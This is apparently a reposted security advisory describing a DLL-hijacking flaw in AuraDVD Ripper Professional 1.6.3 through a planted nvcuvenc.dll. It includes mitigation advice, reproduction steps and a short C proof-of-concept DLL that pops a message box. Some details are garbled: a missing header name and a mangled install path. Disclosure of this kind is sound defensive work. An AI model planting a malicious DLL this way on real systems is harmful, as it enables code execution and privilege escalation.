AuraDVD Ripper Professional 1.6.3 – DLL Injection/Code Execution

A local dll injection vulnerability has been discovered in the official AuraDVD Ripper Professional 1.6.3 software. The issue allows local attackers to inject code to vulnerable dynamic link libraries to compromise the process or to gain higher system access privileges. Thus allows a local attacker to compromise the system process of the affected software to followup with manipulations.

Vulnerable Software:
[+] AuraDVD Ripper Professional

Vulnerable Version(s):
[+] v1.6.3

Vulnerable Libraries:
[+] nvcuvenc.dll

Product & Service Introduction:
===============================

Aura DVD Ripper is the best application for ripping DVD and converting between video formats. It can brilliantly make videos for iPad, iPod, Zune and all kinds of media players and mobile phones from DVDs and videos of a wide range of formats. It supports convert videos or rip DVD movies for protable mobile phones. It even burns videos to standard DVD and Blu-ray disc. With the DVD ripping software, ripping DVD movies to AVI, MP4, WMV, FLV or even Flash (SWF) is now an easy job that can be done instantly. The Aura DVD Ripper also functions as a total video converter and YouTube video downloader.

(Copy of the Vendor Homepage: http://www.aura4you.com/)

Date of Discovery:
==================

2016-10-04

Exploitation Technique:
=======================

Local

Platfom Tested:
===============
Windows 7

Solution – Fix & Patch:
=======================

1/ Whenever possible, use a full path when loading a library.
2/ Delete the current directory from the search path by using ‘SetDLLDirectory;’
3/ Do not use ‘SearchPath’ to locate a library. ‘SearchPath’ was not intended to search for libraries to load into the application’s process space and uses an unsecured search order.
4/ Do not attempt to load libraries only to identify the version of Windows. Instead, use ‘GetVersionEx’ or a similar function offered by the Windows API.

Levels Risk :

Proof of Concept (PoC):
=======================

The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the local vulnerability ...
1. Compile the dll (dynamic link library)
2. Rename to nvcuvenc.dll
3. Copy nvcuvenc.dll to C:Program FilesAura4YouAura DVD Ripper ProfessionalAuraDVDConvPro.exe
4. Launch AuraVideoConv.exe
5. MessageBox Executed

-- PoC Exploit --
#include 
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking ZwX!", "DLL Message", MB_OK);
return 0;
}

Soyez le premier à commenter

Poster un Commentaire

Votre adresse de messagerie ne sera pas publiée.


*